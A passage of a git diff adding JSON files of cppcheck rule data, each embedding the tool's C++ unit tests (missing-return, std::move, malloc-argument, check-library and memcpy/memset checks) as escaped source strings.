errout_str());\n }\n }\n\n check(\"F(A,B) { x=1; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"auto foo4() -> void {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void STDCALL foo() {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void operator=(int y) { x=y; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f() {\\n\"\n \"back:\\n\"\n \" return 0;\\n\"\n \"ng:\\n\"\n \" x=y;\\n\"\n \" goto back;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // unreachable code..\n check(\"int foo(int x) {\\n\"\n \" return 1;\\n\"\n \" (void)x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int foo(int x) {\\n\"\n \" if (x) goto out;\\n\"\n \" return 1;\\n\"\n \"out:\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (error) Found an exit path from function with non-void return type that has missing return statement [missingReturn]\\n\", errout_str());\n\n // switch\n check(\"int f() {\\n\"\n \" switch (x) {\\n\"\n \" case 1: break;\\n\" // <- error\n \" case 2: return 1;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (error) Found an exit path from function with non-void return type that has missing return statement [missingReturn]\\n\", errout_str());\n\n check(\"int f() {\\n\"\n \" switch (x) {\\n\"\n \" case 1: return 2; break;\\n\"\n \" default: return 1;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool test(unsigned char v1, int v2) {\\n\"\n \" switch (v1) {\\n\"\n \" case 0:\\n\"\n \" switch (v2) {\\n\"\n \" case 48000:\\n\"\n \" break;\\n\"\n \" }\\n\"\n \" return false;\\n\"\n \" default:\\n\"\n \" return true;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // if/else\n check(\"int f(int x) {\\n\"\n \" if (x) {\\n\"\n \" return 1;\\n\"\n \" }\\n\" // <- error (missing else)\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:5]: (error) Found an exit path from function with non-void return type that has missing return statement [missingReturn]\\n\", errout_str());\n\n check(\"int f(int x) {\\n\"\n \" if (x) {\\n\"\n \" ;\\n\" // <- error\n \" } else {\\n\"\n \" return 1;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (error) Found an exit path from function with non-void return type that has missing return statement [missingReturn]\\n\", errout_str());\n\n check(\"int f() {\\n\"\n \" if (!0) {\\n\"\n \" return 1;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f() {\\n\"\n \" if (!0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:14]: (error) Found an exit path from function with non-void return type that has missing return statement [missingReturn]\\n\", errout_str());\n\n // loop\n check(\"int f(int x) {\\n\"\n \" while (1) {\\n\"\n \" dostuff();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // return {..}\n check(\"std::pair typeDecl(int tok) {\\n\"\n \" if (!tok)\\n\"\n \" return {};\\n\"\n \" else\\n\"\n \" return {1, 2};\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // noreturn function\n check(\"int f(int x) { exit(0); }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int x) { assert(0); }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int x) { if (x) return 1; else return bar({1}, {}); }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"auto f() -> void {}\"); // #10342\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S1 {\\n\" // #7433\n \" S1& operator=(const S1& r) { if (this != &r) { i = r.i; } }\\n\"\n \" int i;\\n\"\n \"};\\n\"\n \"struct S2 {\\n\"\n \" S2& operator=(const S2& s) { if (this != &s) { j = s.j; } return *this; }\\n\"\n \" int j;\\n\"\n \"};\\n\"\n \"struct S3 {\\n\"\n \" S3& operator=(const S3& t) { if (this != &t) { k = t.k; return *this; } }\\n\"\n \" int k;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:61]: (error) Found an exit path from function with non-void return type that has missing return statement [missingReturn]\\n\"\n \"[test.cpp:10:75]: (error) Found an exit path from function with non-void return type that has missing return statement [missingReturn]\\n\",\n errout_str());\n\n // #11171\n check(\"std::enable_if_t f() {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"std::enable_if_t f() {}\");\n ASSERT_EQUALS(\n \"[test.cpp:1:51]: (error) Found an exit path from function with non-void return type that has missing return statement [missingReturn]\\n\",\n errout_str());\n\n check(\"template std::enable_if_t{}, int> f(T) {}\");\n ASSERT_EQUALS(\n \"[test.cpp:1:71]: (error) Found an exit path from function with non-void return type that has missing return statement [missingReturn]\\n\",\n errout_str());\n\n check(\"template std::enable_if_t{}> f(T) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"typename std::enable_if::type f() {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"typename std::enable_if::type f() {}\");\n ASSERT_EQUALS(\n \"[test.cpp:1:64]: (error) Found an exit path from function with non-void return type that has missing return statement [missingReturn]\\n\",\n errout_str());\n\n check(\"template typename std::enable_if{}, int>::type f(T) {}\");\n ASSERT_EQUALS(\n \"[test.cpp:1:84]: (error) Found an exit path from function with non-void return type that has missing return statement [missingReturn]\\n\",\n errout_str());\n\n check(\"template typename std::enable_if{}>::type f(T) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\"\n \" [[noreturn]] void f();\\n\"\n \" int g() { this->f(); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { [[noreturn]] void f(); };\\n\"\n \"int g(S& s) { s.f(); }\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkMissingReturn2() { // #11798\n check(\"int f(bool const a) {\\n\"\n \" switch (a) {\\n\"\n \" case true:\\n\"\n \" return 1;\\n\"\n \" case false:\\n\"\n \" return 2;\\n\"\n \" }\\n\"\n \"}\\n\"\n \"int main(int argc, char* argv[])\\n\"\n \"{\\n\"\n \" auto const b= f(true);\\n\"\n \" auto const c= f(false);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkMissingReturn3() {\n check(\"enum Enum {\\n\"\n \" A,\\n\"\n \" B,\\n\"\n \" C,\\n\"\n \"};\\n\"\n \"int f(Enum e) {\\n\"\n \" switch (e) {\\n\"\n \" case A:\\n\"\n \" return 1;\\n\"\n \" case B:\\n\"\n \" return 2;\\n\"\n \" case C:\\n\"\n \" return 2;\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkMissingReturn4() {\n check(\"enum Enum {\\n\"\n \" A,\\n\"\n \" B,\\n\"\n \" C,\\n\"\n \"};\\n\"\n \"int f(Enum e) {\\n\"\n \" switch (e) {\\n\"\n \" case A:\\n\"\n \" return 1;\\n\"\n \" case B:\\n\"\n \" return 2;\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:7:16]: (error) Found an exit path from function with non-void return type that has missing return statement [missingReturn]\\n\", errout_str());\n }\n\n void checkMissingReturn5() {\n check(\"enum Enum {\\n\"\n \" A,\\n\"\n \" B,\\n\"\n \" C,\\n\"\n \"};\\n\"\n \"int f(Enum e, bool b) {\\n\"\n \" switch (e) {\\n\"\n \" case A:\\n\"\n \" return 1;\\n\"\n \" case B:\\n\"\n \" return 2;\\n\"\n \" case C:\\n\"\n \" switch (b) {\\n\"\n \" case true:\\n\"\n \" return 3;\\n\"\n \" case false:\\n\"\n \" return 4;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkMissingReturn6() {// #13180\n check(\"int foo(void)\\n\"\n \"{\\n\"\n \" i = readData();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Found an exit path from function with non-void return type that has missing return statement [missingReturn]\\n\", errout_str());\n }\n\n // NRVO check\n void returnLocalStdMove1() {\n check(\"struct A{}; A f() { A var; return std::move(var); }\");\n ASSERT_EQUALS(\"[test.cpp:1:45]: (performance) Using std::move for returning object by-value from function will affect copy elision optimization.\"\n \" More: https://isocpp.github.io/CppCoreGuidelines/CppCoreGuidelines#Rf-return-move-local [returnStdMoveLocal]\\n\", errout_str());\n }\n\n // RVO, C++03 ctor style\n void returnLocalStdMove2() {\n check(\"struct A{}; A f() { return std::move( A() ); }\");\n ASSERT_EQUALS(\"[test.cpp:1:40]: (performance) Using std::move for returning object by-value from function will affect copy elision optimization.\"\n \" More: https://isocpp.github.io/CppCoreGuidelines/CppCoreGuidelines#Rf-return-move-local [returnStdMoveLocal]\\n\", errout_str());\n }\n\n // RVO, new ctor style\n void returnLocalStdMove3() {\n check(\"struct A{}; A f() { return std::move(A{}); }\");\n ASSERT_EQUALS(\"[test.cpp:1:39]: (performance) Using std::move for returning object by-value from function will affect copy elision optimization.\"\n \" More: https://isocpp.github.io/CppCoreGuidelines/CppCoreGuidelines#Rf-return-move-local [returnStdMoveLocal]\\n\", errout_str());\n }\n\n // Function argument\n void returnLocalStdMove4() {\n check(\"struct A{}; A f(A a) { return std::move(A{}); }\");\n ASSERT_EQUALS(\"[test.cpp:1:42]: (performance) Using std::move for returning object by-value from function will affect copy elision optimization.\"\n \" More: https://isocpp.github.io/CppCoreGuidelines/CppCoreGuidelines#Rf-return-move-local [returnStdMoveLocal]\\n\", errout_str());\n }\n\n void returnLocalStdMove5() {\n check(\"struct A{} a; A f1() { return std::move(a); }\\n\"\n \"A f2() { volatile A var; return std::move(var); }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { std::string msg{ \\\"abc\\\" }; };\\n\"\n \"std::unique_ptr get(std::vector>& v) {\\n\"\n \" return std::move(v.front());\\n\"\n \"}\\n\"\n \"int main() {\\n\"\n \" std::vector> v;\\n\"\n \" v.emplace_back(std::make_unique());\\n\"\n \" auto p = get(v);\\n\"\n \" std::cout << p->msg;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"std::string&& f() {\\n\" // #11881\n \" std::string s;\\n\"\n \" return std::move(s);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void negativeMemoryAllocationSizeError() { // #389\n check(\"void f() {\\n\"\n \" int *a;\\n\"\n \" a = malloc( -10 );\\n\"\n \" free(a);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (error) Invalid malloc() argument nr 1. The value is -10 but the valid values are '0:'. [invalidFunctionArg]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int *a;\\n\"\n \" a = alloca( -10 );\\n\"\n \" free(a);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:8]: (warning) Obsolete function 'alloca' called. [allocaCalled]\\n\"\n \"[test.cpp:3:17]: (error) Invalid alloca() argument nr 1. The value is -10 but the valid values are '0:'. [invalidFunctionArg]\\n\", errout_str());\n }\n\n void checkLibraryMatchFunctions() {\n /*const*/ Settings s = settingsBuilder(settings).checkLibrary().debugwarnings().build();\n s.daca = true;\n\n check(\"void f() {\\n\"\n \" lib_func();\"\n \"}\", dinit(CheckOptions, $.s = &s));\n ASSERT_EQUALS(\"[test.cpp:2:5]: (information) --check-library: There is no matching configuration for function lib_func() [checkLibraryFunction]\\n\", errout_str());\n\n check(\"void f(void* v) {\\n\"\n \" lib_func(v);\"\n \"}\", dinit(CheckOptions, $.s = &s));\n ASSERT_EQUALS(\"[test.cpp:2:5]: (information) --check-library: There is no matching configuration for function lib_func() [checkLibraryFunction]\\n\", errout_str());\n\n // #10105\n check(\"class TestFixture {\\n\"\n \"protected:\\n\"\n \" bool prepareTest(const char testname[]);\\n\"\n \"};\\n\"\n \"\\n\"\n \"class TestMemleak : private TestFixture {\\n\"\n \" void run() {\\n\"\n \" do { prepareTest(\\\"testFunctionReturnType\\\"); } while (false);\\n\"\n \" }\\n\"\n \"\\n\"\n \" void testFunctionReturnType() {\\n\"\n \" }\\n\"\n \"};\", dinit(CheckOptions, $.s = &s));\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11183\n check(\"#include \\n\"\n \"\\n\"\n \"extern void cb(const std::string&);\\n\"\n \"\\n\"\n \"void f() {\\n\"\n \" cb(std::string(\\\"\\\"));\\n\"\n \"}\", dinit(CheckOptions, $.s = &s));\n TODO_ASSERT_EQUALS(\"\", \"[test.cpp:6:5]: (information) --check-library: There is no matching configuration for function cb() [checkLibraryFunction]\\n\", errout_str());\n\n // #7375\n check(\"void f() {\\n\"\n \" struct S { int i; char c; };\\n\"\n \" size_t s = sizeof(S);\\n\"\n \" static_assert(s == 9);\\n\"\n \"}\\n\", dinit(CheckOptions, $.s = &s));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(char) {}\\n\"\n \"void g() {\\n\"\n \" f(int8_t(1));\\n\"\n \"}\\n\", dinit(CheckOptions, $.s = &s));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::uint64_t& u) {\\n\"\n \" u = std::uint32_t(u) * std::uint64_t(100);\\n\"\n \"}\\n\", dinit(CheckOptions, $.s = &s));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() { throw(1); }\\n\", dinit(CheckOptions, $.s = &s)); // #8958\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"using namespace std;\\n\"\n \"void f() { throw range_error(\\\"abc\\\"); }\\n\", dinit(CheckOptions, $.s = &s));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class C {\\n\" // #9002\n \"public:\\n\"\n \" static int f() { return 1; }\\n\"\n \"};\\n\"\n \"void g() { C::f(); }\\n\", dinit(CheckOptions, $.s = &s));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::vector& v) {\\n\" // #11223\n \" for (const auto& s : v)\\n\"\n \" s.find(\\\"\\\");\\n\"\n \"}\\n\", dinit(CheckOptions, $.s = &s));\n ASSERT_EQUALS(\"[test.cpp:3:11]: (warning) Return value of function s.find() is not used. [ignoredReturnValue]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" auto* p = new std::vector(5);\\n\"\n \" p->push_back(1);\\n\"\n \" auto* q = new std::vector{ 5, 7 };\\n\"\n \" q->push_back(1);\\n\"\n \" auto* r = new std::vector;\\n\"\n \" r->push_back(1);\\n\"\n \"}\\n\", dinit(CheckOptions, $.s = &s));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" auto p = std::make_shared>();\\n\"\n \" p->push_back(1);\\n\"\n \"}\\n\", dinit(CheckOptions, $.s = &s));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector>& v) {\\n\"\n \" auto it = v.begin();\\n\"\n \" it->push_back(1);\\n\"\n \"}\\n\", dinit(CheckOptions, $.s = &s));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" auto v = std::vector{};\\n\"\n \" v.push_back(1);\\n\"\n \" auto w = std::vector{ 1, 2, 3 };\\n\"\n \" w.push_back(1);\\n\"\n \" auto x = std::vector(1);\\n\"\n \" x.push_back(1);\\n\"\n \"}\\n\", dinit(CheckOptions, $.s = &s));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" auto p(std::make_shared>());\\n\"\n \" p->push_back(1);\\n\"\n \" auto q{ std::make_shared>{} };\\n\"\n \" q->push_back(1);\\n\"\n \"}\\n\", dinit(CheckOptions, $.s = &s));\n TODO_ASSERT_EQUALS(\"\",\n \"[test.cpp:2:5]: (debug) auto token with no type. [autoNoType]\\n\"\n \"[test.cpp:4:5]: (debug) auto token with no type. [autoNoType]\\n\"\n \"[test.cpp:3:8]: (information) --check-library: There is no matching configuration for function auto::push_back() [checkLibraryFunction]\\n\"\n \"[test.cpp:5:8]: (information) --check-library: There is no matching configuration for function auto::push_back() [checkLibraryFunction]\\n\",\n errout_str());\n\n check(\"struct F { void g(int); };\\n\"\n \"void f(std::list& l) {\\n\"\n \" std::list::iterator it;\\n\"\n \" for (it = l.begin(); it != l.end(); ++it)\\n\"\n \" it->g(0);\\n\"\n \"}\\n\", dinit(CheckOptions, $.s = &s));\n ASSERT_EQUALS(\"\", filter_valueflow(errout_str()));\n\n check(\"auto f() {\\n\"\n \" return std::runtime_error(\\\"abc\\\");\\n\"\n \"}\\n\", dinit(CheckOptions, $.s = &s));\n TODO_ASSERT_EQUALS(\"\",\n \"[test.cpp:1:1]: (debug) auto token with no type. [autoNoType]\\n\",\n errout_str());\n\n check(\"struct S {\\n\" // #11543\n \" S() {}\\n\"\n \" std::vector> v;\\n\"\n \" void f(int i) const;\\n\"\n \"};\\n\"\n \"void S::f(int i) const {\\n\"\n \" for (const std::shared_ptr& c : v)\\n\"\n \" c->f(i);\\n\"\n \"}\\n\", dinit(CheckOptions, $.s = &s));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"namespace N {\\n\"\n \" struct S { static const std::set s; };\\n\"\n \"}\\n\"\n \"void f() {\\n\"\n \" const auto& t = N::S::s;\\n\"\n \" if (t.find(\\\"abc\\\") != t.end()) {}\\n\"\n \"}\\n\", dinit(CheckOptions, $.s = &s));\n ASSERT_EQUALS(\"\", filter_valueflow(errout_str()));\n\n check(\"void f(std::vector>>& v, int i, int j) {\\n\"\n \" auto& s = v[i][j];\\n\"\n \" s.insert(0);\\n\"\n \"}\\n\", dinit(CheckOptions, $.s = &s));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(const std::vector& v, int i, char c) {\\n\"\n \" const auto& s = v[i];\\n\"\n \" return s.find(c);\\n\"\n \"}\\n\", dinit(CheckOptions, $.s = &s));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\" // #11604\n \" int (*g)() = nullptr;\\n\"\n \"}\\n\", dinit(CheckOptions, $.s = &s));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" INT (*g)() = nullptr;\\n\"\n \"}\\n\", dinit(CheckOptions, $.s = &s));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct T;\\n\"\n \"std::shared_ptr get();\\n\"\n \"void f(int i) {\\n\"\n \" auto p = get();\\n\"\n \" p->h(i);\\n\"\n \" p.reset(nullptr);\\n\"\n \"}\\n\", dinit(CheckOptions, $.s = &s));\n ASSERT_EQUALS(\"[test.cpp:5:8]: (information) --check-library: There is no matching configuration for function T::h() [checkLibraryFunction]\\n\",\n errout_str());\n\n check(\"struct S : std::vector {\\n\"\n \" void f(int i) { push_back(i); }\\n\"\n \"};\\n\", dinit(CheckOptions, $.s = &s));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" auto g = []() -> std::string { return \\\"abc\\\"; };\\n\"\n \" auto s = g();\\n\"\n \" if (s.at(0)) {}\\n\"\n \" auto h{ []() -> std::string { return \\\"xyz\\\"; } };\\n\"\n \" auto t = h();\\n\"\n \" if (t.at(0)) {}\\n\"\n \"};\\n\", dinit(CheckOptions, $.s = &s));\n ASSERT_EQUALS(\"\", filter_valueflow(errout_str()));\n\n check(\"::std::string f(const char* c) {\\n\" // #12365\n \" return ::std::string(c);\\n\"\n \"}\\n\", dinit(CheckOptions, $.s = &s));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"template \\n\"\n \"struct S : public std::vector {\\n\"\n \" void resize(size_t n) { std::vector::resize(n); }\\n\"\n \"};\\n\", dinit(CheckOptions, $.s = &s));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct P {\\n\" // #13105\n \" bool g(int i) const;\\n\"\n \" std::shared_ptr> m;\\n\"\n \"};\\n\"\n \"bool P::g(int i) const {\\n\"\n \" auto it = m->find(i);\\n\"\n \" const bool b = it != m->end();\\n\"\n \" return b;\\n\"\n \"}\\n\", dinit(CheckOptions, $.s = &s));\n TODO_ASSERT_EQUALS(\"\", \"[test.cpp:6:5]: (debug) auto token with no type. [autoNoType]\\n\", errout_str());\n }\n\n void checkUseStandardLibrary1() {\n check(\"void f(void* dest, void const* src, const size_t count) {\\n\"\n \" size_t i;\\n\"\n \" for (i = 0; count > i; ++i)\\n\"\n \" (reinterpret_cast(dest))[i] = (reinterpret_cast(src))[i];\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (style) Consider using std::memcpy instead of loop. [useStandardLibrary]\\n\", errout_str());\n }\n\n void checkUseStandardLibrary2() {\n check(\"void f(void* dest, void const* src, const size_t count) {\\n\"\n \" for (size_t i = 0; i < count; i++) {\\n\"\n \" (reinterpret_cast(dest))[i] = (reinterpret_cast(src))[i];\\n\"\n \"}}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) Consider using std::memcpy instead of loop. [useStandardLibrary]\\n\", errout_str());\n }\n\n void checkUseStandardLibrary3() {\n check(\"void f(void* dst, const void* src, const size_t count) {\\n\"\n \" size_t i;\\n\"\n \" for (i = 0; count > i; i++)\\n\"\n \" ((char*)dst)[i] = ((const char*)src)[i];\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (style) Consider using std::memcpy instead of loop. [useStandardLibrary]\\n\", errout_str());\n }\n\n void checkUseStandardLibrary4() {\n check(\"void f(void* dst, void* src, const size_t size) {\\n\"\n \" for (size_t i = 0; i < size; i += 1) {\\n\"\n \" ((int8_t*)dst)[i] = ((int8_t*)src)[i];\\n\"\n \"}}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) Consider using std::memcpy instead of loop. [useStandardLibrary]\\n\", errout_str());\n }\n\n // different indexes\n void checkUseStandardLibrary5() {\n check(\"void f(void* dst, void* src, const size_t size, const size_t from_idx) {\\n\"\n \" for (size_t i = 0; i < size; ++i) {\\n\"\n \" ((int8_t*)dst)[i] = ((int8_t*)src)[from_idx];\\n\"\n \"}}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n // unknown count\n void checkUseStandardLibrary6() {\n check(\"void f(void* dst, void* src, const size_t size) {\\n\"\n \" for (size_t i = 0; ((int8_t*)src)[i] != 0; ++i) {\\n\"\n \" ((int8_t*)dst)[i] = ((int8_t*)src)[i];\\n\"\n \"}}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n // increment with 2\n void checkUseStandardLibrary7() {\n check(\"void f(void* dst, void* src, const size_t size) {\\n\"\n \" for (size_t i = 0; i < size; i += 2) {\\n\"\n \" ((int8_t*)dst)[i] = ((int8_t*)src)[i];\\n\"\n \"}}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n // right argument of assignment could be static_cast, functional cast, c-style and implicit cast\n // functional cast case not covered\n void checkUseStandardLibrary8() {\n check(\"void f(void* dest, const size_t count) {\\n\"\n \" size_t i;\\n\"\n \" for (i = 0; i < count; ++i)\\n\"\n \" (reinterpret_cast(dest))[i] = static_cast(0);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (style) Consider using std::memset instead of loop. [useStandardLibrary]\\n\", errout_str());\n }\n\n void checkUseStandardLibrary9() {\n check(\"void f(void* dest, const size_t count) {\\n\"\n \" for (size_t i = 0; i < count; i++) {\\n\"\n \" (reinterpret_cast(dest))[i] = (static_cast(0));\\n\"\n \"}}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) Consider using std::memset instead of loop. [useStandardLibrary]\\n\", errout_str());\n }\n\n void checkUseStandardLibrary10() {\n check(\"void f(void* dst, const size_t size) {\\n\"\n \" size_t i;\\n\"\n \" for (i = 0; i < size; i++)\\n\"\n \" ((char*)dst)[i] = (const char)0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (style) Consider using std::memset instead of loop. [useStandardLibrary]\\n\", errout_str());\n }\n\n void checkUseStandardLibrary11() {\n check(\"void f(void* dst, const size_t size) {\\n\"\n \" for (size_t i = 0; i < size; i += 1) {\\n\"\n \" ((int8_t*)dst)[i] = ((int8_t)0);\\n\"\n \"}}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) Consider using std::memset instead of loop. [useStandardLibrary]\\n\", errout_str());\n }\n\n void checkUseStandardLibrary12() {\n check(\"void f(void* dst, const size_t size) {\\n\"\n \" for (size_t i = 0; i < size; i += 1) {\\n\"\n \" ((int8_t*)dst)[i] = 42;\\n\"\n \"}}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) Consider using std::memset instead of loop. [useStandardLibrary]\\n\", errout_str());\n }\n\n void checkUseStandardLibrary13() {\n check(\"void f(void* dest, const size_t count) {\\n\"\n \" for (size_t i = 0; i < count; i++) {\\n\"\n \" reinterpret_cast(dest)[i] = '0';\\n\"\n \"}}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) Consider using std::memset instead of loop. [useStandardLibrary]\\n\", errout_str());\n }\n\n void checkUseStandardLibrary14() {\n check(\"void f(void* dest) {\\n\"\n \" for (size_t i = 0; i < sizeof(int)*(15 + 42/2 - 7); i++) {\\n\"\n \" reinterpret_cast(dest)[i] = '0';\\n\"\n \"}}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) Consider using std::memset instead of loop. [useStandardLibrary]\\n\", errout_str());\n }\n};\n\nREGISTER_TEST(TestFunctions)\n" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckIO/checkCoutCerrMisusage.json b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckIO/checkCoutCerrMisusage.json new file mode 100644 index 0000000..ec7b98c --- /dev/null +++ b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckIO/checkCoutCerrMisusage.json @@ -0,0 +1,22 @@ +{ + "name": "checkCoutCerrMisusage", + "language": "cpp", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "cpp", + "loc": 18, + "branches": 6, + "apis": 29, + "test": [ + { + "description": null, + "expected-problems": 1, + "expected-linenumbers": [ + 120 + ], + "code": "\n/*\n * Cppcheck - A tool for static C/C++ code analysis\n * Copyright (C) 2007-2025 Cppcheck team.\n *\n * This program is free software: you can redistribute it and/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program. If not, see .\n */\n\n#include \"checkio.h\"\n#include \"errortypes.h\"\n#include \"fixture.h\"\n#include \"helpers.h\"\n#include \"platform.h\"\n#include \"settings.h\"\n\n#include \n#include \n\nclass TestIO : public TestFixture {\npublic:\n TestIO() : TestFixture(\"TestIO\") {}\n\nprivate:\n const Settings settings = settingsBuilder().library(\"std.cfg\").library(\"windows.cfg\").library(\"qt.cfg\").build();\n /*const*/ Settings settings1 = settingsBuilder().library(\"std.cfg\").library(\"windows.cfg\").library(\"qt.cfg\").severity(Severity::warning).severity(Severity::style).build();\n\n void run() override {\n mNewTemplate = true;\n TEST_CASE(coutCerrMisusage);\n\n TEST_CASE(wrongMode_simple);\n TEST_CASE(wrongMode_complex);\n TEST_CASE(useClosedFile);\n TEST_CASE(fileIOwithoutPositioning);\n TEST_CASE(seekOnAppendedFile);\n TEST_CASE(fflushOnInputStream);\n TEST_CASE(incompatibleFileOpen);\n\n TEST_CASE(testScanf1); // Scanf without field limiters\n TEST_CASE(testScanf2);\n TEST_CASE(testScanf3); // #3494\n TEST_CASE(testScanf4); // #ticket 2553\n TEST_CASE(testScanf5); // #10632\n\n mNewTemplate = false;\n TEST_CASE(testScanfArgument);\n TEST_CASE(testPrintfArgument);\n TEST_CASE(testPrintfArgumentVariables);\n mNewTemplate = true;\n TEST_CASE(testPosixPrintfScanfParameterPosition); // #4900\n\n TEST_CASE(testMicrosoftPrintfArgument); // ticket #4902\n TEST_CASE(testMicrosoftScanfArgument);\n TEST_CASE(testMicrosoftCStringFormatArguments); // ticket #4920\n TEST_CASE(testMicrosoftSecurePrintfArgument);\n TEST_CASE(testMicrosoftSecureScanfArgument);\n\n TEST_CASE(testQStringFormatArguments);\n\n TEST_CASE(testTernary); // ticket #6182\n TEST_CASE(testUnsignedConst); // ticket #6132\n\n TEST_CASE(testAstType); // #7014\n TEST_CASE(testPrintf0WithSuffix); // ticket #7069\n TEST_CASE(testReturnValueTypeStdLib);\n\n TEST_CASE(testPrintfTypeAlias1);\n TEST_CASE(testPrintfAuto); // #8992\n TEST_CASE(testPrintfParenthesis); // #8489\n TEST_CASE(testStdDistance); // #10304\n TEST_CASE(testParameterPack); // #11289\n\n TEST_CASE(testDefaultSignInt); // #13363\n TEST_CASE(testPrintfWithGeneric); // #13592\n }\n\n struct CheckOptions\n {\n CheckOptions() = default;\n bool inconclusive = false;\n bool portability = false;\n Platform::Type platform = Platform::Type::Unspecified;\n char defaultSign = '\\0';\n bool onlyFormatStr = false;\n bool cpp = true;\n };\n\n#define check(...) check_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void check_(const char* file, int line, const char (&code)[size], const CheckOptions& options = make_default_obj()) {\n // TODO: using dedicated Settings (i.e. copying it) object causes major slowdown\n 